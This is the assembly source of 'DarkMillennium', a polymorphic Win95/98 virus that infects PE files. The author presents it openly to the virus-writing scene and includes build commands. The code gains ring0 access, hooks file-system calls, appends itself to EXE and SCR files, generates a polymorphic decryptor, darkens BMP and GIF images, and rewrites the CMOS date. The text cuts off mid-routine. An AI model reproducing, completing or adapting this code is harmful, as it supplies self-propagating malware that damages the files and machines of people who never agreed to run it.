; DarkMillennium Project ; developed by Clau / Ultimate Chaos ; ; The Project is a Win95/98 compatible virus. ; Also this is my first virus that infects PE files. ; ; Greets goes to all Ultimate Chaos members and all people in VX scene. ; Respect to all of you. ; ;---------------- ; DESCRIPTION | ;---------------- ; ; on program load : ; - it proccess a polymorphic decryptor ; - it is made in 2 parts ; - 1. Finding the key that encryption was made with (between 0 ... 65535) ; - 2. Decrypt the code with that key ; - check if it is already resident ; - if not, go into ring0 ; - get memory with GetHeap ; - copy itself into allocated memory ; - hook the API (InstallFileSystemAPIhook) ; -return to host program ; on FS calls, if IFSFN_OPEN/IFSFN_RENAME/IFSFN_FILEATRIB ; - check if extension is EXE/SCR ; - check if the file format is PE ; - if so, infect the file ; - Generate random polymorphic decryptor, and write it to file ; - Encrypt the code with a simple XOR method using a random key witch is never saved ; It use only 2 bytes buffer for encryption, it encrypt 2 bytes at a time and write them ; into the file, until all the code is encrypted and written. This method is slower, ; but low memory is used. ; - check for a condition and if it is true then display a message box trough VxD call ; payloads, the condition is the number of infected files be equal to infected_nr_trigger ; - thanks goes to Midnyte (member of Ultimate Chaos, coder, GFXer) for helping me with this nice payload ; - on BMP and GIF open they will go darker and darker on every open ; - on some BMPs and GIFs the effect is more cool, I can say strange ; ;---------------------------------------- ; Polymoprhic engine description | ;---------------------------------------- ; ; This is my first poly engine. ; - random junk code ; - do nothing instructions (instructions that do not interfer with the decryptor) ; - they are 1, 2 or more bytes instructions, and more instructions combined ; - 1 byte - cmc, clc, stc, nop ; - 2 bytes - a range of INTs ; - > 2 bytes - it can generate random MOV, PUSH, POP ... infact all instructions ; that are used in decryptor, without interfering with the decryptor (it use regs ; that are not used in decrypt process) ; - more ways to do the same thing instructions ; example : MOV EAX, 12345678h <=> PUSH 12345678h ; POP EAX ; - the decryptor size can be ~ 3 times bigger then the original decryptor ; - if the decryptor is smaller then the decryptor before, the space between it and the encrypted code ; will be filled with junk. ; ; ; Compile with: ; tasm32 /m3 /ml darkmillennium.asm ; tlink32 /Tpe /aa /x darkmillennium.obj, darkmillennium.exe, , import32.lib ; ; report any bugs to clau@ultimatechaos.org ; .386p .model flat extrn ExitProcess:proc extrn MessageBoxA:proc VxDCall macro vxd_id, service_id int 20h dw service_id dw vxd_id endm IFSMgr = 0040h ; VxD service GetHeap = 000dh InstallFileSystemAPIhook = 0067h Ring0_FileIO = 0032h UniToBCSPath = 0041h IFSFN_OPEN = 36 IFSFN_RENAME = 37 IFSFN_FILEATTRIB = 33 R0_opencreatefile = 0d500h ; open/create file R0_readfile = 0d600h ; read a file, no context R0_writefile = 0d601h ; write to a file, no context R0_closefile = 0d700h ; close a file exception_int = 3 exe_ext = 'EXE.' scr_ext = 'RCS.' bmp_ext = 'PMB.' gif_ext = 'FIG.' virussize = _end - Start virussize_plus_buffers = virussize + ( _end_2 - _end ) polyengine_size = _end - GenDecryptor infected_nr_trigger = 200 .code Begin: push 64 push offset w_title push offset copyright push 0 call MessageBoxA jmp Start .data ;-------------------- Start Code ------------------- Start: call Delta Delta: mov esi, esp mov ebp, dword ptr ss:[esi] sub ebp, offset Delta pushad lea esi, [ebp + key - Start] ; address of code key add esi, offset Start xor di, di ; key for decryption find_loop: inc di mov ax, [esi] ; load code key in eax xor ax, di ; decrypt it with the key from edi cmp ax, 9090h ; check if edi key is OK jnz find_loop ; if not jump to find_loop ; now edi = the key for decryption lea esi, [ebp + Encr_Code - Start] add esi, offset Start mov ecx, virussize decr_loop: xor word ptr [esi], di add esi, 2 sub ecx, 2 cmp ecx, 1 jg decr_loop popad ; "alocate" space equal to current decryptor size, incase that the next generated decryptors ; will be bigger, and it will be bigger then this one ; this space will be filled with random junk instructions db ($ - offset Start) * 2 dup (90h) ; for big decryptors not overwrite Data Zone Encr_Code: key dw 9090h jmp virus_code ;-------------------- Data Zone ------------------- IDT_Address dq 0 flag db 0 newaddress dd 0 exception dd 0 old_offset dd 0 filename db 260 dup (0) handle dd 0 crt_move dd 0 peheader dd 0 S_Align dd 0 F_Align dd 0 sec_ptr dd 0 Old_EIP dd 0 SOI dd 0 virusplace dd 0 imagebase dd 0 infected_files dw 0 SEH_nextpointer dd ? SEH_oldpointer dd ? SEH_errorhandler dd ? IMAGE_DOS_HEADER struc MZ_magic dw ? MZ_cblp dw ? MZ_cp dw ? MZ_crlc dw ? MZ_cparhdr dw ? MZ_minalloc dw ? MZ_maxalloc dw ? MZ_ss dw ? MZ_sp dw ? MZ_csum dw ? MZ_ip dw ? MZ_cs dw ? MZ_lfarlc dw ? MZ_ovno dw ? MZ_res dw 4 dup (?) MZ_oemid dw ? MZ_oeminfo dw ? MZ_res2 dw 10 dup (?) MZ_lfanew dd ? IMAGE_DOS_HEADER ends IMAGE_DOS_HEADER_SIZE = SIZE IMAGE_DOS_HEADER IMAGE_FILE_HEADER struc PE_Magic dd ? Machine dw ? NumberOfSections dw ? TimeDateStamp dd ? PointerToSymbolTable dd ? NumberOfSymbols dd ? SizeOfOptionalHeader dw ? Characteristics dw ? IMAGE_FILE_HEADER ends IMAGE_FILE_HEADER_SIZE = SIZE IMAGE_FILE_HEADER IMAGE_DATA_DIRECTORY struc dd_VirtualAddress dd ? dd_Size dd ? IMAGE_DATA_DIRECTORY ends IMAGE_DIRECTORY_ENTRIES struc DE_Export IMAGE_DATA_DIRECTORY ? DE_Import IMAGE_DATA_DIRECTORY ? DE_Resource IMAGE_DATA_DIRECTORY ? DE_Exception IMAGE_DATA_DIRECTORY ? DE_Security IMAGE_DATA_DIRECTORY ? DE_BaseReloc IMAGE_DATA_DIRECTORY ? DE_Debug IMAGE_DATA_DIRECTORY ? DE_Copyright IMAGE_DATA_DIRECTORY ? DE_GlobalPtr IMAGE_DATA_DIRECTORY ? DE_TLS IMAGE_DATA_DIRECTORY ? DE_LoadConfig IMAGE_DATA_DIRECTORY ? DE_BoundImport IMAGE_DATA_DIRECTORY ? DE_IAT IMAGE_DATA_DIRECTORY ? IMAGE_DIRECTORY_ENTRIES ends IMAGE_NUMBEROF_DIRECTORY_ENTRIES = 16 IMAGE_OPTIONAL_HEADER struc OH_Magic dw ? OH_MajorLinkerVersion db ? OH_MinorLinkerVersion db ? OH_SizeOfCode dd ? OH_SizeOfInitializedData dd ? OH_SizeOfUninitializedData dd ? ; Uninitialized Data OH_AddressOfEntryPoint dd byte ptr ? ; Initial EIP OH_BaseOfCode dd byte ptr ? ; Code Virtual Address OH_BaseOfData dd byte ptr ? ; Data Virtual Address OH_ImageBase dd byte ptr ? ; Base of image OH_SectionAlignment dd ? ; Section Alignment OH_FileAlignment dd ? ; File Alignment OH_MajorOperatingSystemVersion dw ? ; Major OS OH_MinorOperatingSystemVersion dw ? ; Minor OS OH_MajorImageVersion dw ? ; Major Image version OH_MinorImageVersion dw ? ; Minor Image version OH_MajorSubsystemVersion dw ? ; Major Subsys version OH_MinorSubsystemVersion dw ? OH_Win32VersionValue dd ? ; win32 version OH_SizeOfImage dd ? ; Size of image OH_SizeOfHeaders dd ? ; Size of Header OH_CheckSum dd ? ; unused OH_Subsystem dw ? ; Subsystem OH_DllCharacteristics dw ? ; DLL characteristic OH_SizeOfStackReserve dd ? ; Stack reserve OH_SizeOfStackCommit dd ? ; Stack commit OH_SizeOfHeapReserve dd ? ; Heap reserve OH_SizeOfHeapCommit dd ? ; Heap commit OH_LoaderFlags dd ? ; Loader flags OH_NumberOfRvaAndSizes dd ? ; Number of directories UNION ; directory entries OH_DataDirectory IMAGE_DATA_DIRECTORY\ IMAGE_NUMBEROF_DIRECTORY_ENTRIES DUP (?) OH_DirectoryEntries IMAGE_DIRECTORY_ENTRIES ? ends ends IMAGE_OPTIONAL_HEADER_SIZE = SIZE IMAGE_OPTIONAL_HEADER IMAGE_SECTION_HEADER struc SH_Name db 8 dup (?) UNION SH_PhusicalAddress dd byte ptr ? SH_VirtualSize dd ? ends SH_VirtualAddress dd byte ptr ? SH_SizeOfRawData dd ? SH_PointerToRawData dd byte ptr ? SH_PointerToRelocations dd byte ptr ? SH_PointerToLinenumbers dd byte ptr ? SH_NumberOfRelocations dw ? SH_NumberOfLinenumbers dw ? SH_Characteristics dd ? IMAGE_SECTION_HEADER ends IMAGE_SECTION_HEADER_SIZE = SIZE IMAGE_SECTION_HEADER mz_header IMAGE_DOS_HEADER ? pe_header IMAGE_FILE_HEADER ? oh_header IMAGE_OPTIONAL_HEADER ? section IMAGE_SECTION_HEADER ? ;-------------------- Real Code Zone ------------------ virus_code: mov eax, dword ptr fs:[00h] mov dword ptr [ebp + SEH_nextpointer], eax mov dword ptr [ebp + SEH_oldpointer], eax lea eax, [ebp + return_to_host] mov dword ptr [ebp + SEH_errorhandler], eax lea eax, [ebp + SEH_nextpointer] mov dword ptr fs:[00h], eax sidt [ebp + IDT_Address] mov esi, dword ptr [ebp + IDT_Address + 2] add esi, exception_int * 8 mov dword ptr [ebp + exception], esi mov bx, word ptr [esi + 6] shl ebx, 10h mov bx, word ptr [esi] mov dword ptr [ebp + old_offset], ebx lea eax, [ebp + offset Ring0] mov word ptr [esi], ax shr eax, 10h mov word ptr [esi + 6], ax mov eax, 0c000e990h cmp dword ptr [eax], '2000' jne go_into_ring0 jmp already_installed go_into_ring0: int exception_int ; This will jump us to Ring0 proc in ring0 mode already_installed: mov esi, dword ptr [ebp + exception] mov ebx, dword ptr [ebp + old_offset] mov word ptr [esi], bx shr ebx, 10h mov word ptr [esi + 6], bx return_to_host: mov eax, dword ptr [ebp + SEH_oldpointer] mov dword ptr fs:[00h], eax exit: cmp ebp, 0 je generation_1 mov eax, [ebp + Old_EIP] add eax, [ebp + imagebase] jmp eax generation_1: push 0 call ExitProcess Ring0 proc pusha ; Get some memory mov eax, virussize_plus_buffers + 100 push eax patch1_val equ GetHeap + 256 * 256 * IFSMgr patch1 label far VxDCall IFSMgr, GetHeap pop ecx or eax, eax jz no_free_mem ; Copy into memory xchg eax, edi lea esi, dword ptr [ebp + Start] push edi mov ecx, _end - Start rep movsb pop edi mov dword ptr [ebp + newaddress], edi mov dword ptr [edi + delta1 - Start], edi ; hook API lea eax, [edi + API_hook - Start] push eax patch2_val equ InstallFileSystemAPIhook + 256 * 256 * IFSMgr patch2 label far VxDCall IFSMgr, InstallFileSystemAPIhook pop ebx mov [edi + nexthook - Start], eax jmp success no_free_mem: jmp back_to_ring3 success: mov eax, 0c000e990h mov dword ptr [eax], '2000' mov byte ptr [edi + flag - Start], 0 back_to_ring3: popad iretd Ring0 endp API_hook: push ebp mov ebp, esp sub esp, 20h push ebx push esi push edi db 0bfh delta1 dd 0 cmp byte ptr [edi + flag - Start], 1 je over_now cmp dword ptr [ebp + 12], IFSFN_OPEN ; open action je action_ok cmp dword ptr [ebp + 12], IFSFN_RENAME ; rename action je action_ok cmp dword ptr [ebp + 12], IFSFN_FILEATTRIB ; attributes action je action_ok jmp over_now action_ok: mov byte ptr [edi + flag - Start], 1 pusha lea esi, [edi + filename - Start] mov eax, [ebp + 16] cmp al, 0ffh je no_path add al, 40h mov byte ptr [esi], al inc esi mov byte ptr [esi], ':' inc esi mov byte ptr [esi], '\' ; Unicode conversion no_path: push 0 ; BCS/WANSI code push 260 ; maximum filename mov eax, [ebp + 28] ; get IOREQ mov eax, [eax + 12] add eax, 4 push eax ; push filename push esi ; push destination patch3_val equ UniToBCSPath + 256 * 256 * IFSMgr patch3 label far VxDCall IFSMgr, UniToBCSPath add esp, 4 * 4 add esi, eax mov byte ptr [esi], 0 ; Check extension for '.EXE' cmp dword ptr [esi - 4], exe_ext je check_2 ; Check extension for '.BMP' cmp dword ptr [esi - 4], bmp_ext jne check_gif_ext call bmp_Payload ; Check extension for '.GIF' check_gif_ext: cmp dword ptr [esi - 4], gif_ext jne check_scr_ext call gif_Payload ; Check extension for '.SCR' = screensaver check_scr_ext: cmp dword ptr [esi - 4], scr_ext jne not_exe ; Open the file check_2: lea esi, [edi + filename - Start] call file_open jc not_exe mov dword ptr [edi + handle - Start], eax ; Read DOS header lea esi, [edi + mz_header - Start] mov ebx, dword ptr [edi + handle - Start] mov ecx, IMAGE_DOS_HEADER_SIZE mov edx, 0 call file_read ; Check if really EXE file ( 'MZ' signature ) lea esi, [edi + mz_header - Start] mov ax, word ptr [esi.MZ_magic] cmp ax, 5a4dh jne fileclose ; Locate the PE header mov esi, dword ptr [esi.MZ_lfanew] cmp esi, 500h ja fileclose ; Save the pos of the PE header mov dword ptr [edi + crt_move - Start], esi mov dword ptr [edi + peheader - Start], esi ; Read the PE header lea edx, [edi + pe_header - Start] mov ebx, dword ptr [edi + handle - Start] mov ecx, IMAGE_FILE_HEADER_SIZE + IMAGE_OPTIONAL_HEADER_SIZE xchg esi, edx call file_read add dword ptr [edi + crt_move - Start], IMAGE_FILE_HEADER_SIZE + IMAGE_OPTIONAL_HEADER_SIZE ; Check for 'PE' signature lea esi, [edi + pe_header - Start] mov eax, dword ptr [esi.PE_Magic] cmp eax, 00004550h jne fileclose ; Check for DLL signature cmp dword ptr [esi.Characteristics], 2000h je fileclose ; Locate the last section and read it xor eax, eax mov ax, word ptr [esi.NumberOfSections] mov ecx, IMAGE_SECTION_HEADER_SIZE dec eax mul ecx mov esi, eax add esi, dword ptr [edi + crt_move - Start] mov dword ptr [edi + sec_ptr - Start], esi ; Read the last section lea edx, [edi + section - Start] mov ecx, IMAGE_SECTION_HEADER_SIZE mov ebx, dword ptr [edi + handle - Start] xchg esi, edx call file_read ; Verify if already infected lea esi, [edi +oh_header - Start] cmp dword ptr [esi.OH_Win32VersionValue], '2000' je fileclose mov eax, dword ptr [esi.OH_SectionAlignment] mov [edi + S_Align - Start], eax mov eax, dword ptr [esi.OH_FileAlignment] mov [edi + F_Align - Start], eax mov eax, dword ptr [esi.OH_AddressOfEntryPoint] mov [edi + Old_EIP - Start], eax mov eax, dword ptr [esi.OH_SizeOfImage] mov [edi + SOI - Start], eax mov eax, dword ptr [esi.OH_ImageBase] mov [edi + imagebase - Start], eax ; Update the section lea esi, [edi + section - Start] mov eax, dword ptr [esi.SH_PointerToRawData] add eax, dword ptr [esi.SH_VirtualSize] mov dword ptr [edi + virusplace - Start], eax mov eax, dword ptr [edi.SH_SizeOfRawData] add eax, virussize mov ecx, dword ptr [edi + F_Align - Start] push eax push ecx xor edx, edx div ecx pop ecx sub ecx, edx pop eax add eax, ecx mov dword ptr [esi.SH_SizeOfRawData], eax mov eax, dword ptr [esi.SH_VirtualSize] add eax, virussize mov dword ptr [esi.SH_VirtualSize], eax ; Set the new characteristics for the section or dword ptr [esi.SH_Characteristics], 00000020h ; code or dword ptr [esi.SH_Characteristics], 20000000h ; executable or dword ptr [esi.SH_Characteristics], 80000000h ; writable ; Update the PE header ; first the size of image wich is aligned to section alignment lea esi, [edi + oh_header - Start] mov eax, dword ptr [edi + SOI - Start] add eax, virussize mov ecx, dword ptr [edi + S_Align - Start] push eax push ecx xor edx, edx div ecx pop ecx sub ecx, edx pop eax add eax, ecx mov dword ptr [esi.OH_SizeOfImage], eax ; Address of Entrypoint to our virus ( Old Virtual Address + New Virtual Size - Virus Size ) lea esi, [edi + section - Start] mov eax, dword ptr [esi.SH_VirtualAddress] add eax, dword ptr [esi.SH_VirtualSize] sub eax, virussize lea esi, [edi + oh_header - Start] mov dword ptr [esi.OH_AddressOfEntryPoint], eax ; Mark the infection mov dword ptr [esi.OH_Win32VersionValue], '2000' ; Write section to file lea edx, [edi + section - Start] mov ecx, IMAGE_SECTION_HEADER_SIZE mov ebx, dword ptr [edi + handle - Start] mov esi, dword ptr [edi + sec_ptr - Start] xchg edx, esi call file_write ; Write headers to file lea edx, [edi + pe_header - Start] mov ecx, IMAGE_FILE_HEADER_SIZE + IMAGE_OPTIONAL_HEADER_SIZE mov ebx, dword ptr [edi + handle - Start] mov esi, dword ptr [edi + peheader - Start] xchg edx, esi call file_write ; Patch the code mov cx, 20cdh mov word ptr [edi + patch1 - Start], cx mov eax, patch1_val mov dword ptr [edi + patch1 - Start + 2], eax mov word ptr [edi + patch2 - Start], cx mov eax, patch2_val mov dword ptr [edi + patch2 - Start + 2], eax mov word ptr [edi + patch3 - Start], cx mov eax, patch3_val mov dword ptr [edi + patch3 - Start + 2], eax mov word ptr [edi + patch4 - Start], cx mov eax, patch4_val mov dword ptr [edi + patch4 - Start + 2], eax mov word ptr [edi + patch5 - Start], cx mov eax, patch5_val mov dword ptr [edi + patch5 - Start + 2], eax ; reset the infected_files counter mov ax, 0 mov word ptr [edi + infected_files - Start], ax ; Generate decryptor pushad mov ebp, edi call GenDecryptor popad ; Call Payload call Payload ; Write decryptor mov edx, edi mov ecx, Encr_Code - Start mov ebx, dword ptr [edi + handle - Start] mov esi, dword ptr [edi + virusplace - Start] xchg edx, esi call file_write mov edx, dword ptr [edi + virusplace - Start] add edx, Encr_Code - Start mov dword ptr [edi + virusplace - Start], edx ; update virusplace ; Get random key for encryption in cx mov eax, 0FFFFh call random_in_range ; will return in ax a random number xchg ax, cx ; Write encrypted area to file lea edx, [edi + Encr_Code - Start] ; location to copy and encrypt xor eax, eax ; counter write_loop: call copy_in_buffer inc edx inc edx push eax ; save counter push ecx ; save the key push edx ; save location pointer in code ; Write buffer in file mov ebx, dword ptr [edi + handle - Start] mov ecx, 2 mov edx, dword ptr [edi + virusplace - Start] lea esi, [edi + encryption_buffer - Start] call file_write mov edx, dword ptr [edi + virusplace - Start] inc edx inc edx mov dword ptr [edi + virusplace - Start], edx pop edx ; restore loc. pointer pop ecx ; restore the key pop eax ; restore counter inc eax inc eax cmp eax, _end - Encr_Code jle write_loop ; Close the file fileclose: mov ebx, dword ptr [edi + handle - Start] call file_close not_exe: popa over_now: mov byte ptr [edi + flag - Start], 0 ; Set flag to 0 mov eax, [ebp + 28] push eax mov eax, [ebp + 24] push eax mov eax, [ebp + 20] push eax mov eax, [ebp + 16] push eax mov eax, [ebp + 12] push eax mov eax, [ebp + 08] push eax db 0b8h nexthook dd 0 call [eax] add esp, 6 * 4 pop edi pop esi pop ebx leave ret ; Copy a word from code in encryption_buffer and encrypt it ; cx = key for encryption ; edx = pointer in code copy_in_buffer proc pushad mov bx, word ptr [edx] xor bx, cx mov [edi + encryption_buffer - Start], bx popad ret encryption_buffer dw 0 copy_in_buffer endp get_rnd proc push bx xor bx, ax xor bx, cx xor bx, dx xor bx, sp xor bx, bp xor bx, si xor bx, di in al, 40h xor bl, al in al, 40h add bh, al in al, 41h sub bl, al in al, 41h xor bh, al in al, 42h add bl, al in al, 42h sub bh, al xchg bx, ax pop bx ret get_rnd endp ; Ring0 File_IO ;------------------------- Ring0_File_IO proc patch4_val equ Ring0_FileIO + 256 *256 * IFSMgr patch4 label far VxDCall IFSMgr, Ring0_FileIO ret Ring0_File_IO endp file_open proc mov bx, 2 mov cx, 0 mov dx, 1 mov eax, R0_opencreatefile call Ring0_File_IO ret file_open endp file_close proc mov eax, R0_closefile call Ring0_File_IO ret file_close endp file_read proc mov eax, R0_readfile call Ring0_File_IO ret file_read endp file_write proc mov eax, R0_writefile call Ring0_File_IO ret file_write endp Payload proc ; Check the number of infected files pushad mov ax, word ptr [edi + infected_files - Start] ; check the number of infected files inc ax ; increase the counter with 1 mov word ptr [edi + infected_files - Start], ax cmp ax, infected_nr_trigger jne not_yet mov ax, 0 ; reset the counter mov word ptr [edi + infected_files - Start], ax ; the counter will also be reseted at in every new infected file ; (on every infected_nr_trigger will trigger a message box) lea eax, [edi + WinTitle - Start] mov [edi + TitleOff - Start], eax lea eax, [edi + WinText - Start] mov [edi + TextOff - Start], eax lea ebx, [edi + WinBox - Start] patch5_val equ 001Ah + 256 * 256 * 002Ah patch5 label far VxDCall 002Ah, 001Ah ; give a try with random_in_range ; (number between 0 and 10000) not_yet: mov eax, 10000 call random_in_range cmp eax, 500 jg end_payload ; as you see if the random number =< 500 then test the PC for year 2000 compatibilite :) ; infact it will jump into year 2000 ; the chances to do it are 5% mov al, 07h out 70h, al mov al, 01h out 71h, al ; day of the month mov al, 08h out 70h, al mov al, 01h out 71h, al ; month to January mov al, 09h out 70h, al mov al, 00h out 71h, al ; year (0 = 2000) ; by the way ... this is a good test, you will see if your computer is compatible with year 2000 ;) ; so i recommend you get infected with DarkMillennium end_payload:popad ret WinBox dd ? butt1 dw 0 butt2 dw 0001 butt3 dw 0 TitleOff dd offset WinTitle TextOff dd offset WinText WinTitle db 'DarkMillennium Project',0 WinText db 'DarkMillennium Project', 10, 'Copyright (C) 1999 by Clau/Ultimate Chaos', 10 db 'www.ultimatechaos.org', 10 db 'Greets to all VXers out there !', 0 Payload endp copyright db 'DarkMillennium Project', 13, 10, 'Copyright (C) 1999 by Clau/Ultimate Chaos', 0 copyright_end: bmp_Payload proc pushad ; Open the file lea esi, [edi + filename - Start] call file_open mov dword ptr [edi + handle - Start], eax ; Read file lea esi, [edi + gfx_buffer - Start] mov ebx, [edi + handle - Start] mov ecx, 256 mov edx, 54 call file_read ; Change the things arround lea esi, [edi + gfx_buffer - Start] mov ecx, 256 bmp_dark: cmp byte ptr [esi], 5 jl bmp_color_1 sub byte ptr [esi], 5 bmp_color_1:inc esi cmp byte ptr [esi], 5 jl bmp_color_2 sub byte ptr [esi], 5 bmp_color_2:inc esi cmp byte ptr [esi], 5 jl bmp_color_out sub byte ptr [esi], 5 bmp_color_out: add esi, 2 sub ecx, 4 cmp ecx, 0 jne bmp_dark ; Write file lea esi, [edi + gfx_buffer - Start] mov ecx, 256 mov ebx, [edi + handle - Start] mov edx, 54 call file_write ; Close file mov ebx, [edi + handle - Start] call file_close popad ret bmp_Payload endp gif_Payload proc ; Thanks goes to MidNyte for helping me with informations and code pushad ; Open the file lea esi, [edi + filename - Start] call file_open mov dword ptr [edi + handle - Start], eax ; Read file lea esi, [edi + gfx_buffer - Start] mov ebx, eax mov ecx, 10Dh mov edx, 0000h call file_read xor ecx, ecx mov cl, byte ptr [edi + gfx_buffer + 000Ah - Start] and cl, 00000111b cmp cl, 0 je exit_gif_payload ; somethin' is wrong mov ax, 2 get_colours:shl ax, 1 loop get_colours mov cx, ax shl ax, 1 add cx, ax lea esi, [edi + gfx_buffer - Start] add esi, 000Dh push edi mov edi, esi darken: lodsb cmp al, 14h jb skip_entry sub al, 14h stosb skip_entry: loop darken pop edi ; Write buffer back to file lea esi, [edi + gfx_buffer - Start] mov ebx, [edi + handle - Start] mov ecx, 10Dh mov edx, 0 ; loc. to write in file call file_write exit_gif_payload: ; Close file mov ebx, [edi + handle - Start] call file_close popad ret gif_Payload endp ; ------------------------------------------------------------ ;| Poly Engine | ; ------------------------------------------------------------ ; Generate decryptor ; EBP = location for decryptor GenDecryptor proc xchg ebp, edi call InitRegGenerator call GenerateRegisters ; call 00000000h mov al, 0E8h stosb mov eax, 00000000h stosd ; Generate Junk xchg ebp, edi call GenerateJunk xchg ebp, edi ; mov reg1, ESP mov cl, byte ptr [ebp + reg_1 - Start] mov ch, 04h ; ESP mov ax, 0001h xchg ebp, edi call GenPutX1X2 xchg ebp, edi ; Generate Junk xchg ebp, edi call GenerateJunk xchg ebp, edi ; mov reg_2, ss:[reg_1] mov cl, byte ptr [ebp + reg_2 - Start] mov ch, byte ptr [ebp + reg_1 - Start] mov ax, 0101h xchg ebp, edi call GenPutX1X2 xchg ebp, edi ; Generate Junk xchg ebp, edi call GenerateJunk xchg ebp, edi ; sub reg_2, offset Delta mov al, 81h stosb mov al, byte ptr [ebp + reg_2 - Start] add al, 0E8h stosb mov eax, offset Delta stosd ; Generate Junk xchg ebp, edi call GenerateJunk xchg ebp, edi ; xchg reg_2, ebp mov al, 87h stosb mov al, byte ptr [ebp + reg_2 - Start] add al, 0E8h stosb ; Generate Junk xchg ebp, edi call GenerateJunk xchg ebp, edi call GenerateRegisters ; pushad mov al, 60h stosb ; Generate Junk xchg ebp, edi call GenerateJunk xchg ebp, edi ; lea reg_1, [ebp + key - Start] -> key offset will be setted later mov al, 8Dh stosb mov al, byte ptr [ebp + reg_1 - Start] mov ebx, 8 mul ebx add al, 85h stosb mov [ebp + var2 - Start], edi ; save EDI offset, for later use mov eax, 00000000h stosd ; Generate Junk xchg ebp, edi call GenerateJunk xchg ebp, edi ; add reg_1, offset Start mov al, 81h stosb mov al, byte ptr [ebp + reg_1 - Start] add al, 0C0h stosb mov eax, offset Start stosd ; Generate Junk xchg ebp, edi call GenerateJunk xchg ebp, edi ; xor reg_2, reg_2 mov al, 33h stosb mov al, byte ptr [ebp + reg_2 - Start] mov ecx, eax mov ebx, 8 mul ebx add al, cl add al, 0C0h stosb ; Generate Junk xchg ebp, edi call GenerateJunk xchg ebp, edi ; inc reg_2 mov [ebp + var1 - Start], edi ; save in var1 current pos for future use mov al, 40h add al, byte ptr [ebp + reg_2 - Start] stosb ; Generate Junk xchg ebp, edi call GenerateJunk xchg ebp, edi ; mov reg_3, [reg_1] mov al, byte ptr [ebp + reg_3 - Start] mov cl, al mov ch, byte ptr [ebp + reg_1 - Start] mov ax, 0100h xchg ebp, edi call GenPutX1X2 xchg ebp, edi ; Generate Junk xchg ebp, edi call GenerateJunk xchg ebp, edi ; xor reg_3, reg_2 mov ax, 3366h stosw mov al, byte ptr [ebp + reg_3 - Start] mov ebx, 8 mul ebx add al, byte ptr [ebp + reg_2 - Start] add al, 0C0h stosb ; Generate Junk xchg ebp, edi call GenerateJunk xchg ebp, edi ; cmp reg3, 9090h mov ax, 8166h stosw mov al, byte ptr [ebp + reg_3 - Start] add al, 0F8h stosb mov ax, 9090h stosw ; jne -inc reg_2 line- mov al, 75h stosb mov eax, [ebp + var1 - Start] sub eax, edi dec eax ; now JNE points to INC DI line stosb ; Generate Junk xchg ebp, edi call GenerateJunk xchg ebp, edi ; Save the number of register that contain the key for decryption mov al, [ebp + reg_2 - Start] mov [ebp + reg_key - Start], al call GenerateRegisters call GenerateFuckRegs ; lea reg_1, [ebp + key - Start] -> key offset will be setted later mov al, 8Dh stosb mov al, byte ptr [ebp + reg_1 - Start] mov ebx, 8 mul ebx add al, 85h stosb mov [ebp + var3 - Start], edi ; save EDI offset, for later use mov eax, 00000000h stosd ; Generate Junk xchg ebp, edi call GenerateJunk xchg ebp, edi ; add reg_1, offset Start mov al, 81h stosb mov al, byte ptr [ebp + reg_1 - Start] add al, 0C0h stosb mov eax, offset Start stosd ; Generate Junk xchg ebp, edi call GenerateJunk xchg ebp, edi ; mov reg_2, virussize mov cl, byte ptr [ebp + reg_2 - Start] mov ch, 0FFh mov edx, virussize mov ax, 0101h xchg ebp, edi call GenPutX1X2 xchg ebp, edi ; Generate Junk xchg ebp, edi call GenerateJunk xchg ebp, edi ; xor [reg_1], reg_key mov [ebp + var4 - Start], edi mov ax, 3166h stosw xor eax, eax mov al, byte ptr [ebp + reg_key - Start] mov ebx, 8 mul ebx add al, byte ptr [ebp + reg_1 - Start] stosb ; Generate Junk xchg ebp, edi call GenerateJunk xchg ebp, edi ; inc reg_1 mov al, 40h add al, byte ptr [ebp + reg_1 - Start] stosb ; Generate Junk xchg ebp, edi call GenerateJunk xchg ebp, edi ; inc reg_1 mov al, 40h add al, byte ptr [ebp + reg_1 - Start] stosb ; Generate Junk xchg ebp, edi call GenerateJunk xchg ebp, edi ; dec reg_2 mov al, 48h add al, byte ptr [ebp + reg_2 - Start] stosb ; Generate Junk xchg ebp, edi call GenerateJunk xchg ebp, edi ; dec reg_2 mov al, 48h add al, byte ptr [ebp + reg_2 - Start] stosb ; Generate Junk xchg ebp, edi call GenerateJunk xchg ebp, edi ; cmp reg_2, 1 mov al, 83h stosb mov al, 0F8h add al, byte ptr [ebp + reg_2 - Start] stosb mov al, 01 stosb ; jg -- xor [reg_1], reg_key -- line mov al, 07Fh stosb mov ax, [ebp + var4 - Start] sub eax, edi dec eax stosb ; Generate Junk xchg ebp, edi call GenerateJunk xchg ebp, edi ; popad mov al, 61h stosb ; Generate Junk xchg ebp, edi call GenerateJunk xchg ebp, edi ; key word for decryption mov esi, [ebp + var2 - Start] lea eax, key mov byte ptr [esi], al mov esi, [ebp + var3 - Start] lea eax, key mov byte ptr [esi], al mov ax, 9090h stosw nop nop nop nop nop ; Generate random junk to fill the space after decryptor lea esi, [ebp + Encr_Code - Start] xchg ebp, edi fill_junk: push esi call GenerateOneByteJunk pop esi cmp ebp, esi jl fill_junk xchg ebp, edi xchg ebp, edi ret var1 dd 0 ; keep location of INC DI line var2 dd 0 ; keep location of LEA ESI, key instruction + 1 var3 dd 0 ; keep location of the second LEA ESI, key instruction + 1 var4 dd 0 ; keep location of XOR [ESI], DI instruction GenDecryptor endp ; Init register generator ; InitRegGenerator proc mov byte ptr [ebp + reg_1 - Start], 0F0h mov byte ptr [ebp + reg_2 - Start], 0F0h mov byte ptr [ebp + reg_3 - Start], 0F0h mov byte ptr [ebp + reg_key - Start], 0F0h mov byte ptr [ebp + reg_fuck_1 - Start], 0F0h mov byte ptr [ebp + reg_fuck_2 - Start], 0F0h ret InitRegGenerator endp ; Generate registers for use in decryptor ; GenerateRegisters proc pushad ; Generate reg, not ESP, not EBP get_reg_1: mov eax, 8 call random_in_range cmp al, 4 ; no ESP jz get_reg_1 cmp al, 5 ; no EBP jz get_reg_1 cmp al, byte ptr [ebp + reg_key - Start] jz get_reg_1 mov byte ptr [ebp + reg_1 - Start], al ; save reg value for later use ; Generate reg2, not ESP, not EBP, <> reg1 get_reg_2: mov eax, 8 call random_in_range cmp al, 4 ; no ESP jz get_reg_2 cmp al, 5 ; no EBP jz get_reg_2 cmp al, byte ptr [ebp + reg_1 - Start] jz get_reg_2 cmp al, byte ptr [ebp + reg_key - Start] jz get_reg_1 mov byte ptr [ebp + reg_2 - Start], al ; Generate reg3, not ESP, not EBP, <> reg1, <> reg2 get_reg_3: mov eax, 8 call random_in_range cmp al, 4 ; no ESP jz get_reg_3 cmp al, 5 ; no 